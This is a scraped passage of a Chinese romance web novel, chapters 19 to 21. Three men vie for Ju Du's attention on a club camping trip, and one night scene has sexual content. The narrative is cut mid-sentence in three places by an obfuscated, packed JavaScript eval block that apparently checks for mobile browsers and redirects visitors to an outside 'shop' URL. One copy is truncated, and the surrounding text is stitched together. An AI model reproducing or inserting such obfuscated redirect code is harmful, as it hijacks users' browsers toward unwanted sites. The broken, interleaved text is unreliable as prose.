颜斐章进来后视线焦点先是聚集在房间里那张大床上,接着才看向了坐在一旁的沈予归。颜斐章的眼神一瞬间冷了下来。 他就知道这个小鬼同样没安好心,不过算了,此刻他们的目的估计都一样。 那就是来妨碍越鸣玉这个近水楼台的家伙。 “那家伙和你睡在同一张床上?”颜斐章显然是明知故问,声音低下来,心里发酸得不行。 越鸣玉这小子真是命好,年纪和居渡相差不多,又从小跟在居渡身边,活脱脱一副护食的狼狗崽子模样。 “我知道,这也没什么办法。”没等居渡开口颜斐章就自顾自地补充了一句。 居渡表示根本不知道颜斐章说这些话的意思是什么。 这个时候突然传来越鸣玉低沉的声音,与此同时他推开了卫生间的门。“居渡,我洗好了,你去吧。” 越鸣玉已经穿好了衣服,下身穿着长度到膝盖的黑色宽松短裤,上身穿了件只印有一个品牌logo的白色短袖。 他的短发还没干,正拿着毛巾不断擦着带着湿意的短发,动作力气都没有丝毫收敛。蜜色结实的身体被简单的衣服一衬,看起来很有男子气概。 出来后越鸣玉边擦着头发边看向居渡的方向,结果却在房间里看到了两个不速之客。他擦着头发的动作当即停了下来,脸色一变再变。 最后在居渡眼里呈现出的就是越鸣玉满脸“你居然趁着我洗澡往家里带人”的表情。 当然这个“人”指的是更富有暧昧色彩的一类字眼。 看到颜斐章和沈予归这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883477|192009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两个家伙,越鸣玉实在火大得不行。这两个混蛋一定是在故意给他添堵,明眼人都能看得出来他们的目标是谁。 居渡显然察觉到了气氛的不对劲,他看越鸣玉完全就是在强压着自身即将暴走的状态。而且沈予归和颜斐章也不说话,甚至莫名有种看好戏的既视感。 那没办法,居渡只好站出来打圆场了。 他打圆场的方式是说了句:“我去洗澡。” 然后头也不回地进了浴室,他才不想掺和这种事情,让他们有矛盾的自己解决去吧。 等居渡进了卫生间打开花洒洗澡,应该不太会听到他们的声音后,越鸣玉这才怒视着那两人,压低嗓音骂道:“你们俩最好快点给我滚蛋。” 话语中的愤怒与不悦完全没有要掩藏的意思,神情更是异常凶戾可怖。 “你还真是没礼貌啊。”眯了眯眼的颜斐章语气平静,他似乎并不是很在意越鸣玉凶狠的态度。 虽然他名义上好歹算是这个家伙的老师,但彼此都将对方看作是敌人。颜斐章很快再度开口,面色却跟着沉了下来,那副眯眯眼笑脸也被撤下。 “别逼他做他不愿意的事,越鸣玉,你最好听懂我说的话。”颜斐章的声音低沉,字字发寒,非常明确地在警告越鸣玉。 越鸣玉的额头青筋暴起,捏紧的双拳因为愤怒而轻微震颤起来。他知道自己不能去逼迫居渡,但是如果他永远都不行动,那该怎么做才能得到居渡的心。 不会再有奇迹的发生。 “我说过你他妈别多管闲事。”越鸣玉几大步迈过去一把拽起颜斐章的领口,瞪视着颜斐章。 他这副模样并不是因为被颜斐章戳破想法而感到羞愤,相反他在这种时刻格外冷静,他只是对颜斐章插手他和居渡之间的事感到极度不快。 本来知道颜斐章之前可能和居渡有什么关系这件事就足以让他感到焦躁,颜斐章和沈予归又故意过来刺激他,这让他怎么能咽得下那口气。 没有立即举起拳头挥向颜斐章的脸纯粹是不想让居渡难办。 外面气氛僵持着,在卫生间里洗澡的居渡心情轻松地哼着曲调,一点都不知道外面正发生着哪种情况。 “怎么说也能算得上是公平竞争,居渡并不是你一个人的。”坐在一旁没怎么说话的沈予归此时也站起身。 越鸣玉听到这句话后立刻甩开拽住颜斐章衣领的手,眼神愤怒地扫向沈予归。“你这家伙说什么?!” 当下越鸣玉整个人都处在暴怒的边缘,他知道这两个家伙说的内容挑不出错,但他们的态度实在让人难以忍受。 嫉妒和焦躁充斥着内心,蚕食着他仅剩不多的理智,更是压得他喘不上气。 20. 第20章 沈予归知道已经不必再多说些什么,越鸣玉并不是一个没有脑子的蠢货,相反这家伙比他自身看起来要更明事理。 不然也不会那么想方设法地靠近居渡,做的事情还要避免会让居渡感到不舒服。 只能说他们其实谁都没资格阻止谁。毕竟目前没有人走进了居渡的心,甚至未来可能还是这样。想到这里,沈予归下意识地低着眼,瞳孔里的光逐渐黯淡下去。 居渡洗完澡出来的时候只看见越鸣玉一个人坐在床边,这家伙什么都没干。听到动静的越鸣玉突然抬起头看向自己,猛兽一般凶戾的眼神直勾勾盯过来。 “他们都回去了?”居渡用毛巾擦着湿漉漉的黑发,边走过去边问越鸣玉。 越鸣玉低声“嗯”着应了一下,准确来说是他把那两人给轰出去的。 现在越鸣玉的心情当然算不上好,不过他会注意着不在居渡面前表现出来。注意到居渡头发还没干,就站起身来主动去拿了吹风机。 “你坐在床边,我帮你把头发吹干,湿着睡觉头会疼。” 越鸣玉说的话和他的举动都无比自然,他早就不知道对居渡做过多少次这类小事,已经成为了融入血液中的本能。 “好,谢了。”习惯成自然,居渡并没有觉得有哪里不适应。毕竟他在容易烦恼的青春期时,越鸣玉就总是这样帮他。 越鸣玉打开了吹风机,吹风机的响声适中,调到合适的温度后开始细致地吹着居渡的湿发。他习惯性地用手掌挡住出风口,让从指缝间经过的热风慢慢吹干居渡的头发,防止刺激到头皮。 很难想象得到这个看起来一向以自我为中心霸道又无礼的家伙,居然也会这么认真细致地去对别人做一件事。 两个人彻底收拾好准备睡觉时已经将近十二点。 居渡的困意越来越明显,他上了床抱着手机打算睡觉。第二天还要出发去露营,保存精力总是没错的。 这张大床上只放着一床被子,越鸣玉对此当然不介意,他甚至巴不得只有一床被子。居渡一样不是特别介意这种事,而且床够大被子够大,睡起来不会觉得不舒服。 “居渡,我关灯了?”越鸣玉轻声问着居渡,他准备关闭房间内的所有灯光。 “好。”居渡应了一声,他已经躺倒在床上看着手机。灯光全部关闭后,只留下居渡脸上反射着手机屏幕的白光。 关完灯越鸣玉就上了床,他转头看了看居渡。“怎么还不睡,明天你又会没精神。” 灯光消失后房间便显得越发安静,越鸣玉的声音听起来就变得低沉许多。 “知道了,说实话确实有点困了。”居渡打了个哈欠,侧过身把充电器连接到床头柜上方的插座,再把手机充上电便关掉屏幕。 房间中最后一点光也消失不见。 “睡吧。”躺下来前居渡整理了下枕头的位置,扯了扯被子盖住身体闭眼睡觉。 好不容易又能和居渡睡在同一张床上的越鸣玉当然睡不着,他睁眼闭眼想的都是关于居渡的事情。也不能怪颜斐章的担心是多余的。 像越鸣玉这种家伙,给人的感觉的确是稍有不慎就可能变成一头毫无理智的野兽,还不知道会对身边的居渡做出什么事。 从他青春期发育开始就一直想着居渡释放,甚至连做春梦的对象都是居渡,每次醒来都被欲望产生后的愧疚感所折磨。 幸好越鸣玉还算有自制力,他对当时的居渡没有做出更出格的事情。不过故意让居渡触摸他的身体这件事百分百是做过的。 一想到这里越鸣玉就感觉胸膛都在逐渐发烫,一股陌生的电流顺着脊椎骨爬上直到进入脑中。他的喉结上下动了动,悄悄吞咽着口水。 胸腔中的心跳声似乎变得越来越响,吵得他耳背处隐隐疼痛。越鸣玉用手掌压在胸膛上,他的掌心紧贴着左胸口,能感受到心脏急速跳动所带来的震感。 喉咙发干得厉害,在安静的只有空调声响的黑暗房间中嗓音也越发沙哑,越鸣玉刻意将声音放低。“居渡,你睡了吗。” “嗯?怎么了——”居渡半睡半醒着,可能连他自己都不确定自己在说些什么。 听到居渡的话后,越鸣玉的身体反而有一瞬间的僵硬,结实胸膛起伏的弧度越来越明显。口干舌燥,心跳声震耳欲聋。 “没、没什么。”越鸣玉居然难得结巴起来,语气里带着些想要掩藏什么的急切。 “嗯······”居渡似乎是听到之后应了一句。 下一秒居渡转过身来面向越鸣玉,越鸣玉感受到居渡翻身的动作后硬是一动都没敢动。居渡根本没睁开眼睛,好像还在睡觉,手却直接往越鸣玉身体的方向伸了过去。 “最······后一次了啊······”他这样子明显是睡迷糊了没有清醒,话语被断断续续地说出来。 连做梦居渡都活在被越鸣玉胸肌笼罩的阴影之中,这到底是喜是悲。 话音刚落,越鸣玉的胸膛就被居渡的右手触碰到,隔着一层薄薄的布料,他似乎能够清晰地感受到居渡指尖传来的温度。 居渡的手正放在自己的胸膛上,而且这只手也像是跟随着主人意愿似的缓慢移动着。被居渡这么一触碰,越鸣玉哪里还定得下心,这完全是意外之喜。 渴望被居渡触碰,更是贪婪地想要感受对方身体上的温度。于是越鸣玉果断把自己上身穿着的短袖从腹部往上拽起,让自己的胸膛能袒露出来方便被触摸。 虽然居渡还没睡醒,但他好像知道要配合着抬起手让越鸣玉能把衣服扒上去。不过还没等越鸣玉把短袖脱下,居渡的手就再次放在了越鸣玉的左胸上。 “哈呃!”越鸣玉猛地发出一道急促的呼吸声。 这是在他没有心理准备的时候居渡的手突然放了上来,身体本能地震颤了颤。居渡的手放都放上来了,再继续脱衣服可能会把居渡吵醒,越鸣玉就放弃了接下来的动作。 此时越鸣玉把短袖卷到笔直锁骨的下方,饱满紧实柔韧十足的蜜色胸肌完全展露出来。一半被被子遮盖住,另一半暴露在有些冷的空气中。 越鸣玉下意识地皱着眉头,他倒不是感觉多难受,而是因为居渡的手指一碰到那里就自发地动了起来。 半梦半醒的居渡手上的力气并没有多重,手指温热的触感却十分明显。 “唔嗯······哈呃······”越鸣玉正在努力克制自己粗重急促的喘息声。他担心自己的声音再大一些,居渡就会醒过来看到这一幕。 到时候他都不用想都知道居渡的反应会是怎么样的。但是被居渡触碰身体的感觉实在太好,让他现在只能强行压抑着自己的声音。 越鸣玉不去阻止居渡也不去引导,所以被折磨的当然只有他自己。 明明还开着空调,越鸣玉却感觉浑身都热了起来,皮肤正往外渗出汗意。因为身体温度升高,所以他感觉被子里面变得相当暖和。 这个在外人面前暴躁霸道五官凶狠的家伙,人高马大又身强体壮,有着一身结实有力的蜜色肌肉。其他人怎么都不会想到越鸣玉居然会被人无意识地这样对待,而且神志清醒的他看起来根本不想去反抗。 过了一会儿居渡不知道是不是累了,最后手指用力掐了一下就停了下来。越鸣玉保持着短袖上拉露出胸膛的状态,居渡的手则是顺势搭放在越鸣玉紧实温热的胸肌上面。 越鸣玉努力平复着粗重的呼吸声,他的身体出了不少汗,胸膛上的刺激不再出现反而让他感到无比失落。 但这种情绪很快就消失不见。 他先是确认了身旁的居渡没被吵醒,接着慢慢把居渡的手臂挪到一旁,最后才动作放轻地下床进了卫生间。 连衣服都没来得及拉下来,饱满结实的蜜色胸膛上还残留着温热触感,汗意渗出来让皮肤变得越发滚烫。越鸣玉进卫生间之后连灯都不敢打开,坐在马桶上怕被居渡听到动静似的压低声音做着事。 即便他努力压抑着声响,床上的居渡也还是听到了一些。居渡并不清楚自己刚刚都做了什么,只是迷迷糊糊地觉得越鸣玉真有精神,大晚上的还不睡觉。 想着想着居渡就又翻了个身睡了过去。 在卫生间里解决完生理问题越鸣玉就上了床。床上的居渡正侧过身背对着他,但显然没被吵醒,越鸣玉这才松了口气。 不管怎么说,这种事如果被居渡发现的话一定会相当糟糕。而且光是想着居渡去做这一点就足够让人产生负罪感,一定不能被居渡察觉。 帮居渡拉上被子盖好之后,躺在居渡身边的越鸣玉愣神了一会儿,身体上似乎还残留着居渡指尖的温热触感。 他侧躺着身体面朝着居渡的方向,手臂枕在脑后。居渡整个人好像都埋在了被褥中,又是背对着他,所以越鸣玉看见的就只有居渡的后脖颈和他的黑发。 越鸣玉盯着居渡的后颈出神,喉结跟着上下滚动,身体里好似在燃烧着什么难以启齿的欲望和需求。 不是关于性的欲望,而是一种更加隐秘且无法言说的情感。 他正和居渡睡在同一张床上,被子里全是居渡身上洗完澡散发的淡淡沐浴露香气。 越鸣玉刚刚发泄过也不困,何况居渡又睡在他的身边,所以他倒是精神劲十足,直勾勾盯着居渡的后颈发呆。安静的房间内,此刻能听到的似乎只有居渡平稳浅淡的呼吸声。 还没等他看多久,居渡就又突然翻了个身,面向着越鸣玉。 一看到居渡睡着的正脸时,越鸣玉突然觉得自己的心脏像是被突然按下开关一样疯狂跳动起来,甚至觉得他的脸都有些不正常地发烫。 但他又不能也不想避开,急速跳动着的心脏仿佛已经不是他身体中的器官。于是越鸣玉连呼吸都有意放轻,为的就是能多看睡梦中的居渡几眼。 和居渡睡在一张床上,真真正正受到“折磨”的人反而是越鸣玉。 一夜无梦。 居渡睡到自然醒,由于窗帘避光,所以他睁开眼后房间内依然是一片昏暗。他拿起床头柜上的手机一看,还没到约定时间,不过也差不多了。 他们原本定的计划是早上八点半起床洗漱吃早饭,九点钟所有人在酒店大厅集合,接着一起乘坐大巴车带着提前准备好的食物和器材前往山林。 现在手机上显示的时间是八点十分。 醒了之后居渡就不想继续睡了,何况又没有那个必要,反正也睡不着了。他往身旁睡着的越鸣玉那儿看了两眼,越鸣玉还没睡醒。 即使是在睡梦中越鸣玉的五官也依然透露出几分凶狠,眉头更是紧皱着。 居渡根本不记得昨天晚上干了什么,对他自己做过的事毫无印象。但是睡得迷迷糊糊的时候,好像听见越鸣玉在卫生间做了什么事情。 他和越鸣玉毕竟都是身体健康需求正常的人,居渡并没有过多在意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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看到居渡只准备吃这么点东西,越鸣玉皱着眉面上表情显得更凶几分。他当然不是在对居渡发泄情绪,纯粹是怕居渡吃得太少身体撑不住。 不过吃多也不好,因为待会儿还要坐大巴车过去,到山林附近空气逐渐变得炙热起来。居渡这个不耐热体质一定会受不少罪。 思虑过后,越鸣玉买了一些方便食用且能快速补充能量的东西,准备先放在包里等带到那边居渡饿了随时都能吃。结账的时候他最担心的事情还是发生了,沈予归走进了便利店。 那家伙一眼就看到了站在收银台旁的居渡。 这时居渡刚好察觉到了沈予归投过来的视线,转头看过去并打了个招呼。“早啊。” 而沈予归看到居渡注意到自己后,他的心里仿佛瞬间被过量的甜蜜又温暖的东西填满了似的,忍不住笑着回复居渡。 “早上好,居渡。” 果然是标准的帅哥笑容,配上沈予归的声音真是非常地直击心灵,居渡在心里感叹着。他的东西少,结账快,现在只是待在一旁等着越鸣玉。 越鸣玉听到居渡明显在和别人打招呼的声音,便立刻转过头来。面前的人虽然不是颜斐章,但在他心里和那头一肚子坏水的老狐狸没有丝毫差别。 对沈予归他自然也充满敌意,尤其这个家伙昨天晚上更是明确表达了自身对居渡的情感倾向。越鸣玉的眼神陡然沉了下来。 这边居渡和沈予归简单说了几句话,越鸣玉也将东西付好了钱。 “居渡,回去吧。”他低声对居渡说着话,语气里却没有一丁点凶狠威胁的意思,反而是怕居渡不答应似的劝着。 他的心里当然有个分寸,居渡想怎么样他实际上根本管不着。过多地插手居渡的事情,只会变成一个让居渡厌烦的控制狂。 显然越鸣玉并不想成为会被居渡讨厌的家伙,那种被无视被抛下的感受他绝对不想尝试第二次。 他只是想陪在居渡身边,什么事都让他来做就好。不过他时不时表现出的明显出于嫉妒的举动,还是能让人感受得到他心中的急躁和恐慌。 看出了越鸣玉的阻拦,沈予归的神情没有变化,他对居渡说了句:“待会儿见。” 沈予归指的是大厅集合的事情。居渡表示了解地点了点头,和越鸣玉一起离开了这间便利店。 越鸣玉没有把多余的眼神放在沈予归身上,也没有要好好打招呼的意思。这种事情对他来说并不重要,他的性格一直都是这样,那些家伙于他而言和空气没有两样。 在居渡离开后,站在原地的沈予归却并未立刻行动起来,而是又望着居渡的背影看了一会儿,之后才去买自己要买的一些东西。 能够和居渡搭上话,这件事就已经足够让他感受到强烈的喜悦。无论如何,他都想更多一点地靠近居渡。 同时,他对能一直以一个关系紧密的身份待在居渡身边的越鸣玉感到羡慕不已。很明显居渡已经习惯了越鸣玉这个人的存在,他们之间有和其他人不同的联系在。 其实自己之前就隐约察觉到颜斐章对居渡抱持着的异样情感。那个男人对居渡太上心了,上心到出现了一种不正常的状态。 某种意义上,颜斐章这个男人甚至要比越鸣玉更危险。想到这里沈予归便垂下眼,他绝不会让对居渡来说糟糕的事情发生的。 21. 第21章 居渡和越鸣玉上楼吃完早饭收拾好背包后拿着房卡下去退房。退完房还剩五分钟到九点整,大厅里来的人并不是很多,居渡走过去坐在沙发上等着集合。 越鸣玉则是顺势坐在居渡身边,居渡低头玩着手机没怎么注意周围。 于是他并不知道此刻坐在他身旁的越鸣玉周身流露出来的气势究竟有多不近人情,完全就是凶狠地戒备着他人靠近的大型猛兽。 甚至无形地把居渡圈在了他的保护圈中,谁要是不小心踏入进来一定会被他瞬间撕碎身体,那绝不是会和谁客气的意思。 下楼集合的那些人看到越鸣玉是这种架势,纷纷不敢靠近。他们在胆寒的时候还不忘想,在这个凶恶家伙身旁的那个人真的不会感到害怕吗,他们光是看过去就已经很需要勇气了。 他们这些不熟悉居渡和越鸣玉相处模式的人当然不知道真相是什么。 要是让他们知道这个看起来只想让人远离的高大家伙,前一晚还心甘情愿身体一动不动地被乱摸,那他们的心情一定会变得十分复杂。 出了电梯的颜斐章一眼就看到了坐在沙发上的居渡,当然还有一旁浑身散发着凶戾气息的越鸣玉。一看到居渡他的心情就会变好,面带笑容径直朝着居渡走过去。 在颜斐章踏入保护圈时,越鸣玉瞬间察觉到了,他立刻皱起眉,眼神中满是带有驱赶意味的威胁。 无视了越鸣玉暗地里让他滚的信号,颜斐章直接出声叫了下居渡,并把手中的东西递给他。“这个给你带上,路上打发下时间。” 居渡听到颜斐章的声音后抬起头,他看了看眯眯眼笑着的颜斐章。见他盯着自己并伸出手来,稍微反应了一下将掌心摊开。 然后颜斐章就把一袋橙子味的奶糖放在了自己的手上。 收到一袋糖的居渡愣了一下,低着脑袋看了两眼手中的奶糖,又抬头看向站在自己面前的颜斐章。笑面阎王这是把他当小孩哄吗,这个男人什么时候是这种性格的家伙了。 不过他的确很喜欢橙子味的糖果,酸酸甜甜的怎么都吃不腻。该说他是喜欢柑橘类水果的气味吗,选择洗衣液沐浴露气味的时候总是会不自觉地偏好橙子和柠檬。 居渡还没开口说些什么颜斐章就抽身离开,他过去负责点名并让众人拿好行李出大厅坐大巴准备出发。把这袋糖拿去还给颜斐章也不现实,何况只是一袋送给自己的糖果而已,居渡思考过后把那袋橙子味奶糖收下。 在一旁目睹了全过程的越鸣玉心态当场爆炸,颜斐章这满肚子坏水的家伙到底想干什么,他恨不得把所有东西都砸在这头没安好心的老狐狸脸上。 不能怪越鸣玉的警戒心太强,见到自己的饲主被危险可怕的其他野兽盯上,让他如何能够镇定下来保持理智。 点完名确认人都到齐之后,他们坐上大巴车前往山林。 酒店离那片山林不算远,路上并没有浪费多少时间。大巴车上主要放了烧烤架、食材和帐篷一类的物品,身上不用携带重物当然方便许多。 因为路程短,大早上的又是刚刚睡醒,居渡也就没有坐上车立刻睡着。中途的时候他把颜斐章给他的糖拿了出来,撕开外包装取出里面单独包装着的糖果,把这层包装也去除掉,最后放进嘴里嚼着。 香甜浓郁的牛奶味夹杂着橙子的酸甜感,软糖的口感很不错,牙齿一咬下去就能感受到奶糖中间的橙子果酱夹心。 居渡觉得这个还挺好吃,他本来就挺喜欢橙子味的东西,转头问了问身边的越鸣玉。“你吃不吃。” 被问到的越鸣玉没有一丁点特殊的表现,声音低沉地说让居渡吃就好。居渡主动递给他东西他当然很高兴,但这东西毕竟是颜斐章给居渡的。 一想到这里越鸣玉就什么好心情都没了,只想狠狠揍上颜斐章一顿才能解气。 车上的人心思各异,好在整体氛围不错。到达山林脚下的时候,众人便把带来的物件都从大巴车上拿了出来。 昨晚和店老板做好了约定,居渡他们到了的时候店老板刚好把他们购买的帐篷一类的东西送了过来。 之后他们一行人带着食材和器材走到山林半山腰的地方。 半山腰处有一大片自然形成的平台,周围被葱郁的树林环绕,中间留下来的空地很适合作为露营用地。 这个时候阳光已经很明显了,树叶上的露珠早已被蒸干。 一路上越鸣玉几乎都没让居渡动手,随着温度的升高,他越来越担心居渡的身体情况。好在到达这片地方的时候居渡看起来没什么大碍,只是出了很多汗。 虽然越鸣玉不让他碰重的背包和帐篷器具,但居渡想着自己又不是什么都做不了的人,还是背着包和越鸣玉一同爬山。 众人终于到达这里都累得不行,他们暂时把那些东西放在平地上,先走到四周的树荫下暂时休息一会儿。 山林内不允许车辆进入,他们来到这块平地实属不易。 十月份的天气依然炎热得要命。 居渡的额上出了不少汗,他到了之后也站到树荫下。越鸣玉放好东西走到居渡身边在包里翻找着水和纸巾。 他把矿泉水瓶拧开后递给居渡。“快,先喝些水。” 等居渡喝完水越鸣玉又把手中的纸巾递给居渡,居渡顺手接过开始擦着脸上的汗。 就这样越鸣玉的动作还是没停下,他又从背包里拿出冰凉贴,撕开后抬手将这个冰凉贴贴在居渡的额头上。 这次直接让居渡手都没动一下。 居渡被站在身前的越鸣玉挡着视线,他无意识地轻微动了动身体。 “别乱动。”面前这家伙听起来非常霸道的话传来。 居渡:······ “越鸣玉,你是我妈吗?”居渡偶尔也会产生他妈附在越鸣玉的身上照顾自己的错觉。 越鸣玉贴好冰凉贴反复确认不会掉下来后才收回手,他的双眼一瞬不瞬地看着居渡,面上没有丝毫恼怒不快。“说什么不正经的,你先坐着休息一下。” 居渡坐在树荫下背靠着树休息了会儿,越鸣玉看居渡的状态变好这才暗自松了口气。 这种天气真的很折磨人,都怪沈予归那小子提出要露营,不然居渡也不用出来受这种罪。越鸣玉越想越压不住气,看到居渡额上贴着冰凉贴闭眼休息的样子,心底的愤怒才散去不少。 他站在居渡身旁恢复了些体力,接着找了个空旷平坦又有树荫的地方开始搭帐篷。其他人也陆陆续续开始行动起来。 众人行动的声音越来越大,居渡睁开眼看到的就是别人都开始搭着烧烤架和帐篷。 他站起来在人群里找了找越鸣玉。 这时候的日头还没有那么强烈,但是一直在这种闷热的空气和直射的阳光下搭帐篷,也真是让人很佩服越鸣玉的耐性。 “搭到哪儿了,我也来试试。”居渡走到越鸣玉的身边。 越鸣玉看到过来的居渡皱了皱眉,他不想让居渡被太阳晒到。“你快回树荫下待着,很快就搭好了,我的手艺肯定一流。” 现在越鸣玉整个人都暴露在阳光下,已经晒了有一会儿,汗珠跟着渗了出来。手臂肌肉紧实有力,线条明晰,蜜色的皮肤和结实高大的身躯,说出这种霸道的话倒是完全不会有违和感。 还没等居渡开口,旁边一道声音就传了过来。 “既然你这边不需要居渡,那我就把他借走了。烧烤架那边需要人手,和我过来吧。”颜斐章走过来直接当着越鸣玉的面带走了居渡。 越鸣玉猛地从地上站了起来。 这个时候居渡已经被颜斐章带着走过去了,他不忘回头和越鸣玉说一声:“那我先过去那边了。” 站在原地的越鸣玉真是气到一句话都说不出来,他怎么就忘记了还有颜斐章这家伙的存在。 不过颜斐章那边的确有事情,因为来的人员不算少,所以烧烤架自然也不少。居渡看着颜斐章演示了一遍如何组装然后他也照着去做。 颜斐章看到居渡应该没什么问题便放下心来,他接着去忙其他事情。 等到所有事情都完工时已经临近中午。众人饥肠辘辘,烧烤架和炭火早已准备好,都打算开始烤肉好好让自己填饱肚子。 烧烤用的食材有提前准备好的新鲜肉类,蔬菜也买了不少,这些都是由社团里组织的人准备的。搭好帐篷的众人腹内饥饿感明显,听到能开始烧烤就全都恢复了精神。 越鸣玉这边帐篷完工便立刻去找居渡。 他的进度要是再不加快,居渡就要被某些不怀好意的家伙给盯上了。这是他最不想面对的事情。 有人负责把炭火点着,有人把准备好的食材拿出来。大部分是已经被穿成串的肉和蔬菜,很少一部分是整块的肉,可以放在烧烤架上弄熟调味再用剪刀剪成小块吃。 知道能自己动手开始烧烤,每个人的情绪都不低,男生女生都有,去拿了食物和调味料过来,三三两两地站在一起边聊天边烤肉。 越鸣玉也去把肉和蔬菜都拿了些过来,他对烧烤这件事并不陌生。 在他和居渡小时候两家父母就会常常约上一个下午,在对方或者自家院子里准备一些烤肉,边聊天边吃着东西,氛围十分融洽。 上高中后越鸣玉成为了那个帮忙烤肉的人,他存着私心,想让居渡能吃到他亲手烤的东西。 食物和烧烤架都是大家共用的。越鸣玉没有要霸占烧烤架的意思,他找了一个已经点上炭火的空烧烤架开始烤肉,手法很熟练,不时来回翻着确认食材熟的程度。 居渡待在旁边目不转睛地看着越鸣玉烤着的肉。 越鸣玉的手艺是真不错,火候把握得很到位。他多少也感受到了饥饿,闻到肉串在烧烤架上逐渐熟透的香气,自然而然期待着能早一点烤好。 沈予归和颜斐章这两个人很快找到了居渡,不约而同地往居渡的方向走过去。 颜斐章走过去先是和居渡打了个招呼,接着直接把他带来的食材放在了越鸣玉正在使用的这个烧烤架上。 “借用一下。”颜斐章眯眯眼笑着,他的语气似乎可不是“借”的意思。 看到走过来的沈予归和颜斐章,越鸣玉手臂肌肉瞬间绷紧,他翻烤着肉的动作猛地一停。他在想如果把烧烤架直接掀翻在颜斐章的脸上,那到底会有多解气。 “周围那么多烤架你他妈非得用这个?!”越鸣玉强忍着怒火。 颜斐章听到这不够礼貌的话语没有表现出一点生气的意思,反而更是毫不避讳地看着居渡,意有所指的很明显。“谁让这边景色好,居渡,你说对吗。” 突然被点名的居渡下意识向四周看了看。这里的景色其实大差不差,除了绿色的树林就是让人无法直视的太阳。 他真的不知道颜斐章想干什么。注意到颜斐章看向自己像是在寻求认同一般,居渡只好点了点头,算是给出了回应。 被居渡理睬后,颜斐章面上的笑意显然更深了。他不介意居渡的反应是什么,只要居渡的注意力能放在他的身上,就已经感到心满意足。 这时沈予归走到居渡的身边,他从背包中拿出一个三明治,递向居渡。 “居渡,你要不要先吃一些垫垫肚子?”沈予归的表情很冷静,说话的声音也低低的。 居渡看向走到自己身边的沈予归,他接过沈予归手中的三明治。“谢谢你。我这里还有点零食,你也拿去尝一尝吧。” 接过之后居渡边说边从背包里拿出一袋蟹棒。这是他早上买的,吃了个饭团又吃了越鸣玉买的一些东西,这袋即 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883479|192009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 食蟹棒就被留在背包中了。 什么事都讲究个礼尚往来,对方的好意没必要拒绝,也算是在互换食物。居渡这样想着。 目睹一切的越鸣玉和颜斐章:······ 他们要杀了趁虚而入的沈予归。 沈予归接过居渡递过来的蟹棒,他的眼神不自觉地颤动起来。收到了居渡给的东西,这家伙明显是发自内心地感受到喜悦。 和居渡道了谢却并未离开,似乎打算一直待在这里。 其他人看到居渡这边的场景都自发性地默默远离。他们就算什么都不知道,也察觉到那里不是他们能踏入的地方。 这正压抑着情绪似的又随时都有可能爆发的修罗场氛围,他们还是能隐约感受到的。 在一旁等着烧烤的居渡打开三明治的包装咬了口,眼睛却依然盯着烧烤架上的烤肉。 接下来不知道为什么,沈予归和颜斐章也加入了烤肉的队伍,只有居渡一个人站在他们面前看着他们动手。 毕竟越鸣玉先烤,时间上有优势,很快他就将已经熟透且撒上孜然和辣椒的肉串递给居渡。“烤好了,你先尝尝味道,看看怎么样。” 居渡终于等到一口吃的,立即从越鸣玉的手中接过来。 撒上辣椒孜然的新鲜肉串香气扑鼻,色泽诱人。咬下去的那一瞬间,被锁在肉块里面的汁水和油脂在口腔中迸溅开来。 越鸣玉清楚居渡的口味,特地把辣椒多放了一些,所以这口肉居渡吃得非常满足。 “味道挺好的,肉也熟了。你也吃。”居渡继续咬下一口。 看居渡吃东西越鸣玉的心情就变得很不错,听到居渡说味道好也安下心来。“那就好。” 沈予归和颜斐章注意到了居渡的反应,都加快了手中的动作。他们本来就比越鸣玉要后烤,居渡要是吃越鸣玉烤的肉吃饱了,那才是一件糟糕的事情。 颜斐章这种面面俱到的成熟男人会做这种事不足为奇,不过像沈予归这种看起来家境优越像是不会下厨的人居然也会烧烤,就让人感到有些意外。 实际上,沈予归在这次过来之前的确不擅长做这些事情。 但是居渡已经答应一同去露营,到时候他什么都做不出来,又不能帮上居渡这一点让他无法接受。于是私下里专门找人学习烧烤烤肉的方法,所以这时做起来才能有模有样。 居渡刚吃完手中的肉串,面前又出现了新的递过来的烧烤。 抬眼一看居然是颜斐章递过来的,旁边还紧跟着沈予归递过来的烧烤,这两人明摆着想让居渡接下他们烤的肉。 颜斐章似乎知道居渡在想什么,他没有收回手,而是半开玩笑似的让居渡帮忙。“帮忙尝尝看烤的味道怎么样。” 沈予归没有开口说话,那双墨黑的眼睛却一直看着居渡,显然是十分期待居渡能够吃他亲手烤的食物。 居渡是觉得没有专门去拒绝的必要,他接下来尝了尝这些烧烤。“挺好吃的,你们也快吃。” 他这个连食材都没翻动过的人心安理得地吃着他们烤的肉,莫名有些心虚。 看到居渡并不排斥他烤的烧烤,颜斐章吊着的心总算是放了回去。 察觉到自己反应的颜斐章甚至还有些忍不住想笑,他都多大的人了,怎么还会因为这种事情紧张到掌心冒汗。 